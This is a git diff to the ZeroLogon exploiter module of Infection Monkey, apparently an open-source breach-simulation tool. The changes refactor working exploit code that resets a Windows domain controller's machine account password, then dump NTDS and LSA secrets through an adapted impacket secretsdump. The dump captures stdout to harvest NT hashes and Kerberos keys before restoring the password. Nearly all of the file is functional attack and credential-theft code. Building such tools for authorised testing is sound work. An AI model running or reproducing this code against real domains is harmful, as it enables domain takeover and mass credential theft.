diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index c61657d2d..6a8ee80c8 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,6 +7,7 @@ from __future__ import division, print_function import argparse import codecs +import io import logging import os import re @@ -26,7 +27,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, from impacket.krb5.keytab import Keytab from impacket.smbconnection import SMBConnection -from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) @@ -100,15 +102,18 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") + # restore password + self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + ## how do i execute monkey on the exploited machine? else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") def get_dc_details(self): - dc_ip = self.host.ip + dc_ip = self.host.ip_addr dc_name = self.zerologon_finger.get_dc_name(dc_ip) - dc_handle = '\\\\' + DC_NAME + dc_handle = '\\\\' + dc_name return dc_ip, dc_name, dc_handle def is_exploitable(self): @@ -135,34 +140,52 @@ class ZerologonExploiter(HostExploiter): request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) - def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): # Keep authenticating until successful. LOG.info("Restoring original password...") - for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) - if rpc_con is not None: - break + LOG.info("DCSync; getting original password hashes.") + original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP) - if rpc_con: - LOG.info("DC machine account password should be restored to its original value.") - else: - LOG.info("Failed to restore password.") + try: + if not original_pwd_nthash: + raise Exception("Couldn't extract nthash of original password.") - def get_original_pwd_nthash(DC_NAME, DC_IP): - OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1 - OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + for _ in range(0, self.MAX_ATTEMPTS): + rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + if rpc_con is not None: + break + + if rpc_con: + LOG.info("DC machine account password should be restored to its original value.") + else: + LOG.info("Failed to restore password.") + + except Exception as e: + LOG.error(e) + + def get_original_pwd_nthash(self, DC_NAME, DC_IP): + dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP) + for secret in dumped_secrets: + if DC_NAME in secret: + nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + return nthash + + def get_dumped_secrets(self, DC_NAME, DC_IP): + self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - OPTIONS_FOR_SECRETSDUMP['target']).groups('') + self.OPTIONS_FOR_SECRETSDUMP['target']).groups('') # In case the password contains '@' if '@' in remote_name: password = password + '@' + remote_name.rpartition('@')[0] remote_name = remote_name.rpartition('@')[2] - dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP) - dumper.dump() + dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP) + dumped_secrets = dumper.dump().split('\n') + return dumped_secrets def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. @@ -245,6 +268,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +# Used to get original password hash class DumpSecrets: def __init__(self, remote_name, username='', password='', domain='', options=None): self.__use_VSS_method = options['use_vss'] @@ -293,6 +317,11 @@ class DumpSecrets: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): + orig_stdout = sys.stdout + new_stdout = io.StringIO() + sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed + dumped_secrets = '' + try: if self.__remote_name.upper() == 'LOCAL' and self.__username == '': self.__is_remote = False @@ -318,14 +347,14 @@ class DumpSecrets: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work - logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) self.__remote_ops.setExecMethod(self.__options['exec_method']) - if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() # Let's check whether target system stores LM Hashes @@ -336,13 +365,13 @@ class DumpSecrets: and self.__do_kerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ - logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') else: - logging.error('RemoteOperations failed: %s' % str(e)) + LOG.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA - if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA: + if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: try: if self.__is_remote is True: SAM_file_name = self.__remote_ops.saveSAM() @@ -354,7 +383,7 @@ class DumpSecrets: if self.__output_file_name is not None: self.__SAM_hashes.export(self.__output_file_name) except Exception as e: - logging.error('SAM hashes extraction failed: %s' % str(e)) + LOG.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__is_remote is True: @@ -374,7 +403,7 @@ class DumpSecrets: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) + LOG.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__is_remote is True: @@ -387,7 +416,7 @@ class DumpSecrets: self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, outputFileName=self.__output_file_name, justUser=self.__just_user, printUserStatus=self.__print_user_status) @@ -405,41 +434,33 @@ class DumpSecrets: os.unlink(resume_file) logging.error(e) if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: - logging.info("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + LOG.error("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__use_VSS_method is False: - logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) + import traceback + print(traceback.format_exc()) + LOG.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): - while True: - answer = input("Delete resume session file? [y/N] ") - if answer.upper() == '': - answer = 'N' - break - elif answer.upper() == 'Y': - answer = 'Y' - break - elif answer.upper() == 'N': - answer = 'N' - break - if answer == 'Y': - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) try: self.cleanup() except: pass + finally: + sys.stdout = orig_stdout + new_stdout.seek(0) + dumped_secrets = new_stdout.read() # includes hashes and kerberos keys + return dumped_secrets def cleanup(self): - logging.info('Cleaning up... ') + LOG.info('Cleaning up...') if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: @@ -448,3 +469,9 @@ class DumpSecrets: self.__LSA_secrets.finish() if self.__NTDS_hashes: self.__NTDS_hashes.finish() + +# how to execute monkey on exploited machine +# clean up logging +# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not +# mention patching details in report +# add exploit info to documentation